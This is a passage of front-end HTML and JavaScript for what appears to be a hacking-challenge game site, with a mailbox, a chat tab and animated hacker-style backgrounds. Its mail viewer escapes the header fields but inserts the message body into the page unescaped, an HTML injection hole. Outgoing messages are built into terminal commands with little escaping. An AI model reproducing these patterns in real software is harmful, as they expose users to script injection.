HaKGnNjVRk+tryeDsQjrwLoZ1TJFNwtQRiOkCDAUWFuDfh9UMQyTSRolH7Q2wu8WuQnQlUlAacZYhLHZgllvxvoPvXBD5auytf0AAAAASUVORK5CYII=" alt="Delete"></img></button>
                </div>

                

                </br>

            <div id="selectedMail"></div>
                </br>
            <div id="approvalSharedButtons" style="display:none";>
                <button id='approveSharedBtn' style='margin-right: 10px; background-color: #4ade80; color: white; border: none; padding: 12px 24px; font-weight: bold; border-radius: 8px; cursor: pointer; box-shadow: 0 2px 4px rgba(0,0,0,0.2); transition: background-color 0.3s, box-shadow 0.3s;' class='font-bold mt-4 text-white rounded p-4 shadow-lg' onMouseOver='this.style.backgroundColor=\"#22c55e\"; this.style.boxShadow=\"0 4px 6px rgba(0,0,0,0.3)\";' onMouseOut='this.style.backgroundColor=\"#4ade80\"; this.style.boxShadow=\"0 2px 4px rgba(0,0,0,0.2)\";'>Approuver</button>
                <button id='rejectSharedBtn' style='background-color: #fb7185; color: white; border: none; padding: 12px 24px; font-weight: bold; border-radius: 8px; cursor: pointer; box-shadow: 0 2px 4px rgba(0,0,0,0.2); transition: background-color 0.3s, box-shadow 0.3s;' class='font-bold mt-4 text-white rounded p-4 shadow-lg' onMouseOver='this.style.backgroundColor=\"#f43f5e\"; this.style.boxShadow=\"0 4px 6px rgba(0,0,0,0.3)\";' onMouseOut='this.style.backgroundColor=\"#fb7185\"; this.style.boxShadow=\"0 2px 4px rgba(0,0,0,0.2)\";'>Rejeter</button>&nbsp;&nbsp;
            </div>

        </div>


        <div id="chat-box" class="tabcontent">
            </br>
            <span style="color:orange">#hackbbs</span></br>
            Hack FR/EN | Ezines: http://rafale.org | New challenges available \o/| => https://hackbbs.org/index.php | https://github.com/Sh0ckFR/french-ezines /</br>
            </br>
            <button id="connectToIRCButton" onclick="openChat()"><!--<img src="" alt="Connection"></img>-->Connexion</button></br>
            </br>
            Or you can join us directly through the client of your choice:</br>
            + IRC link: <span style="color:lightgreen">irc.hackint.org</span> then join <span style="color:lightgreen">#hackbbs</span></br>
            + Matrix link: <span style="color:lightgreen">#hackbbs:hackint.org</span></br>
            </br>

        </div>
    </div>
</div>

<script>
    // ============================================================
    // EFFECT CONFIG — change this to: 'matrix', 'hex', or 'glitch'
    // ============================================================
    var params = new URLSearchParams(window.location.search);
    var HACKBBS_EFFECT = params.get('effect') || 'matrix';

    var matrixAnimId = null;

    function startMatrix() {
        var container = document.getElementById('matrix-container');
        if (!container) return;

        var canvas = document.createElement('canvas');
        canvas.id = 'hackbbs-matrix';
        canvas.style.cssText = 'display:block; width:100%; height:100%;';
        container.appendChild(canvas);

        canvas.width  = canvas.offsetWidth;
        canvas.height = canvas.offsetHeight;
        var ctx = canvas.getContext('2d');

        if (HACKBBS_EFFECT === 'matrix') {
            runMatrix(canvas, ctx);
        } else if (HACKBBS_EFFECT === 'hex') {
            runHex(canvas, ctx);
        } else if (HACKBBS_EFFECT === 'glitch') {
            runGlitch(canvas, ctx);
        }
    }

    function stopMatrix() {
        if (matrixAnimId) {
            cancelAnimationFrame(matrixAnimId);
            matrixAnimId = null;
        }
        var canvas = document.getElementById('hackbbs-matrix');
        if (canvas) canvas.remove();
    }

    function runMatrix(canvas, ctx) {
        var green = '#39ff8a';
        var chars = 'アイウエオカキクケコサシスセソタチツテトナニヌネノ0123456789ABCDEF<>{}[]|/\\';
        var drops = [];
        var cols = Math.floor(canvas.width / 14);
        for (var i = 0; i < cols; i++) drops.push(Math.random() * -50);

        function draw() {
            ctx.fillStyle = 'rgba(0,0,0,0.05)';
            ctx.fillRect(0, 0, canvas.width, canvas.height);
            ctx.font = '13px monospace';
            for (var i = 0; i < drops.length; i++) {
                var char = chars[Math.floor(Math.random() * chars.length)];
                ctx.fillStyle = '#ffffff';
                ctx.fillText(char, i * 14, drops[i] * 14);
                ctx.fillStyle = green;
                ctx.fillText(chars[Math.floor(Math.random() * chars.length)], i * 14, (drops[i] - 1) * 14);
                if (drops[i] * 14 > canvas.height && Math.random() > 0.975) drops[i] = 0;
                drops[i] += 0.5;
            }
            matrixAnimId = requestAnimationFrame(draw);
        }
        draw();
    }

    function runHex(canvas, ctx) {
        var green = '#39ff8a';
        var dkgreen = '#1a5c38';
        var rows = Math.floor(canvas.height / 16) + 2;
        var lines = [];

        for (var i = 0; i < rows; i++) {
            var bytes = [];
            for (var j = 0; j < 16; j++) bytes.push(Math.floor(Math.random() * 256));
            lines.push({ addr: Math.floor(Math.random() * 0xFFFF), bytes: bytes, y: i * 16 });
        }

        var offset = 0;
        function draw() {
            ctx.fillStyle = 'rgba(0,0,0,0.15)';
            ctx.fillRect(0, 0, canvas.width, canvas.height);
            ctx.font = '11px monospace';
            offset += 0.4;
            if (offset >= 16) {
                offset = 0;
                lines.shift();
                var bytes = [];
                for (var j = 0; j < 16; j++) bytes.push(Math.floor(Math.random() * 256));
                lines.push({ addr: Math.floor(Math.random() * 0xFFFF), bytes: bytes });
            }
            for (var i = 0; i < lines.length; i++) {
                var y = i * 16 - offset + 16;
                ctx.fillStyle = dkgreen;
                ctx.fillText('0x' + lines[i].addr.toString(16).toUpperCase().padStart(4, '0') + ':', 4, y);
                for (var j = 0; j < 16; j++) {
                    if (Math.random() > 0.995) lines[i].bytes[j] = Math.floor(Math.random() * 256);
                    var bval = lines[i].bytes[j];
                    ctx.fillStyle = bval === 0 ? dkgreen : bval > 200 ? '#ffffff' : green;
                    ctx.fillText(bval.toString(16).toUpperCase().padStart(2, '0'), 52 + j * 18, y);
                }
            }
            matrixAnimId = requestAnimationFrame(draw);
        }
        draw();
    }

    function runGlitch(canvas, ctx) {
        var W = canvas.width, H = canvas.height;
        var green = '#39ff8a';
        var chars = '01アイウエオABCDEF!@#$%^&*<>{}';
        var COLS = Math.floor(W / 10), ROWS = Math.floor(H / 14);
        var grid = [];
        for (var i = 0; i < COLS * ROWS; i++) {
            grid.push({ c: chars[Math.floor(Math.random() * chars.length)], bright: Math.random() });
        }
        var glitchLines = [];
        var frame = 0;

        function draw() {
            frame++;
            ctx.fillStyle = 'rgba(0,0,0,0.85)';
            ctx.fillRect(0, 0, W, H);

            if (Math.random() > 0.92) {
                glitchLines = [];
                var n = Math.floor(Math.random() * 6) + 1;
                for (var i = 0; i < n; i++) {
                    glitchLines.push({
                        y: Math.floor(Math.random() * H),
                        h: Math.floor(Math.random() * 8) + 2,
                        life: Math.floor(Math.random() * 8) + 2
                    });
                }
            }

            for (var i = glitchLines.length - 1; i >= 0; i--) {
                ctx.fillStyle = 'rgba(57,255,138,0.08)';
                ctx.fillRect(0, glitchLines[i].y, W, glitchLines[i].h);
                glitchLines[i].life--;
                if (glitchLines[i].life <= 0) glitchLines.splice(i, 1);
            }

            ctx.font = '11px monospace';
            for (var row = 0; row < ROWS; row++) {
                for (var col = 0; col < COLS; col++) {
                    var idx = row * COLS + col;
                    if (Math.random() > 0.97) grid[idx].c = chars[Math.floor(Math.random() * chars.length)];
                    if (Math.random() > 0.98) grid[idx].bright = Math.random();
                    var b = grid[idx].bright;
                    var inGlitch = glitchLines.some(function(gl) { return row * 14 >= gl.y && row * 14 < gl.y + gl.h; });
                    if (inGlitch) {
                        ctx.fillStyle = b > 0.7 ? '#ffffff' : 'rgba(255,100,100,0.9)';
                    } else {
                        ctx.fillStyle = b > 0.8 ? '#ffffff' : b > 0.3 ? green : 'rgba(26,90,56,0.6)';
                    }
                    ctx.fillText(grid[idx].c, col * 10, row * 14 + 14);
                }
            }

            if (frame % 3 === 0) {
                ctx.fillStyle = 'rgba(57,255,138,0.03)';
                ctx.fillRect(0, Math.floor(Math.random() * H), W, 1);
            }

            matrixAnimId = requestAnimationFrame(draw);
        }
        draw();
    }

    //END MATRIX EFFECT

    var my_mails = $('.currentMail');
    for (var i = 0; i < my_mails.length; i++) {
        my_mails[i].addEventListener("click", function() {
            var current = $(".active");
            current.removeClass("active");
            $(this).addClass("active");
        });
    }


    $("#sendMsgButton").on("click", function() {

        var msgSendTo = $("#msgSendTo").val();
        var subject = $("#subject").val().replace(/"/g, "&quot;");
        var msgToSend = $("#msgToSend").val().replace(/"/g, "&quot;");
        var shareFile = $("#shareFile").val();

        var msg = "msg -d " + msgSendTo + " -o \"" + subject + "\" -m \"" + msgToSend + "\"";
        //alert(msg);
        //$('#terminal').terminal().exec(msg);
        executeCommand(msg);

        $("#msgSendTo").val('');
        $("#subject").val('');
        $("#msgToSend").val('');
        $("#shareFile").val('');
    });

    $("#refreshButton").on("click", function() {
        executeCommand("messagebox -get");

    });

    $("#delButton").on("click", function(id) {
        //var delmsg = $("#selectedMail").val();
        var delmsg = id;
        //$('#terminal').terminal().exec("messagebox -del "+delmsg);
        executeCommand("messagebox -del " + delmsg);
        //We select the first element in the list!
        console.log("we deleted a message so let's select the next one");
        document.evaluate('//*[@id="mails"]', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue.click();
    });


    var currentTab = "";

    function openTab(evt, tabName) {
        var i, tabcontent, tablinks;
        //console.log("Click on menu");

        $('.tabcontent').hide();
        $('.tablinks').removeClass('active');
        $('#' + tabName).show();
        $(evt.currentTarget).addClass('active');
        //$('#defaultMailTab').trigger('click');
        //$('#defaultMailTab').addClass('active');

        if (currentTab != tabName || currentTab == "") {
            if (tabName == "mailBox") {
                $('#' + tabName).show();
                //console.log("we show "+tabName);

                //$('#defaultMailTab').remove('active');
                $('#defaultMailTab').addClass('active');


            }
            currentTab = tabName;
            document.body.classList.add('tab-open');
            $('#tabContainer').css('height', '98vh');

            if (tabName === 'missions') startMatrix();  // ← ADD
            else stopMatrix(); 
        } else {
            console.log("CLOSE action on " + tabName);
            $('#' + tabName).hide();
            $('.tablinks').removeClass('active');

            $('.tablinks#mailboxButton').removeClass('active');
            //$('.tablinks#chatButton').addClass('active');

            //document.evaluate('//*[@id="mailboxButton"]', document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue.classList.remove('active');  
            currentTab = "";
            document.body.classList.remove('tab-open');
            $('#tabContainer').css('height', '0');
            stopMatrix();
        }
        //console.log("we remove the active class");
        //$('#mailboxButton').removeClass('active');
    }
    //$('#defaultTab').trigger('click');


    function openMailTab(evt, tabName) {
        var i, tabcontent, tablinks;

        $('.mailboxcontent').hide();
        $('.mailTablinks').removeClass('active');
        $('#' + tabName).show();
        $(evt.currentTarget).addClass('active');
        console.log(tabName);
        if (tabName=="SendBox"){
            $('#inboxButtons').hide();
        }else{
            $('#inboxButtons').show();
        }

    }
    //$('#defaultMailTab').trigger('click');

    async function deleteMsg(idMsg) {
        await executeCommand('messagebox -del ' + idMsg);

    }

    function openMail(idMsg, date, auth, subj, msgo) {
    //console.log('openMail called:', {idMsg, date, auth, subj});
    
    try {
        // Hide approval buttons first
        $('#approvalSharedButtons').css('display', 'none');
        
        // Decode base64 message
        var msg = atob(msgo);
        console.log('Message decoded, length:', msg.length);
        
        // Properly escape HTML
        function escapeHtml(text) {
            if (!text) return '';
            return $('<div>').text(text).html();
        }
        
        // Escape all variables
        var safeDate = escapeHtml(date);
        var safeAuth = escapeHtml(auth);
        var safeSubj = escapeHtml(subj);
        
        // Build the email display
        var html = '<div class="mail-content" style="padding: 15px;">';
        html += '<div class="mail-header" style="border-bottom: 2px solid #4ade80; padding-bottom: 10px; margin-bottom: 15px;">';
        html += '<p style="margin: 5px 0;"><strong>Date:</strong> ' + safeDate + '</p>';
        html += '<p style="margin: 5px 0;"><strong>From:</strong> ' + safeAuth + '</p>';
        html += '<p style="margin: 5px 0;"><strong>Subject:</strong> ' + safeSubj + '</p>';
        html += '</div>';
        html += '<div class="mail-body" style="padding: 15px; background: #1a1a2e; border-radius: 5px; white-space: pre-wrap; word-wrap: break-word; color: #e0e0e0; max-height: 400px; overflow-y: auto;">';
        html += msg;
        html += '</div>';
        html += '</div>';
        
        // Clear and update the container
        var container = document.getElementById('selectedMail');
        if (!container) {
            console.error('Container #selectedMail not found!');
            return;
        }
        
        // IMPORTANT: Clear the container first
        container.innerHTML = '';
        
        // Then set the new content
        container.innerHTML = html;
        
        // Make sure the container is visible
        container.style.display = 'block';
        container.style.visibility = 'visible';
        container.style.height = 'auto';
        container.style.minHeight = '200px';
        
        // Ensure the container is visible in the DOM
        $(container).show();
        
        // Update buttons using a safer approach
        updateButtons(idMsg, auth, subj, msg, date);
        
        // Scroll to the email
        container.scrollIntoView({ behavior: 'smooth', block: 'start' });
        
        console.log('Mail displayed successfully for ID:', idMsg);
        
    } catch (e) {
        console.error('Error opening mail:', e);
        var container = document.getElementById('selectedMail');
        if (container) {
            container.innerHTML = '<div style="color: #ff6b6b; padding: 20px; background: #2a1a1a; border-radius: 5px;">' +
                '<p><strong>Error opening mail:</strong></p>' +
                '<p style="color: #ff9f9f;">' + e.message + '</p>' +
                '<p style="font-size: 12px; color: #888;">ID: ' + idMsg + '</p>' +
                '</div>';
            container.style.display = 'block';
        }
    }
}

// Helper function to update buttons (using jQuery's .off() to prevent duplicate events)
function updateButtons(idMsg, auth, subj, msg, date) {
    try {
        // Escape values for JavaScript
        var safeAuth = auth.replace(/\\/g, '\\\\').replace(/'/g, "\\'").replace(/"/g, '\\"');
        var safeSubj = subj.replace(/\\/g, '\\\\').replace(/'/g, "\\'").replace(/"/g, '\\"');
        var safeMsg = msg.replace(/\\/g, '\\\\').replace(/'/g, "\\'").replace(/"/g, '\\"');
        var safeId = idMsg.replace(/\\/g, '\\\\').replace(/'/g, "\\'").replace(/"/g, '\\"');
        var safeDate = date.replace(/\\/g, '\\\\').replace(/'/g, "\\'").replace(/"/g, '\\"');
        
        // Clear existing buttons completely
        $('#inboxButtons').empty();
        
        // Create new buttons
        var replyBtn = $('<button>', {
            id: 'replyButton',
            click: function() {
                openMailTab(event, 'SendBox');
                $('#msgSendTo').val(auth);
                $('#subject').val('Re: ' + subj);
                $('#msgToSend').val('');
                $('#shareFile').val('');
            }
        }).html('<img id="replyButtonimg" src="data:image/png;base64,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" alt="Reply">');
        
        var forwardBtn = $('<button>', {
            id: 'transfButton',
            click: function() {
                openMailTab(event, 'SendBox');
                $('#msgSendTo').val('');
                $('#subject').val('Fw: ' + subj);
                $('#msgToSend').val('[' + date + ' - ' + auth + ' - ' + subj + ' - ' + msg + ']');
                $('#shareFile').val('');
            }
        }).html('<img id="transfButtonimg" src="data:image/png;base64,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" alt="Transfert">');
        
        var delBtn = $('<button>', {
            id: 'delButton',
            click: function() {
                deleteMsg(idMsg);
            }
        }).html('<img id="delButtonimg" src="data:image/png;base64,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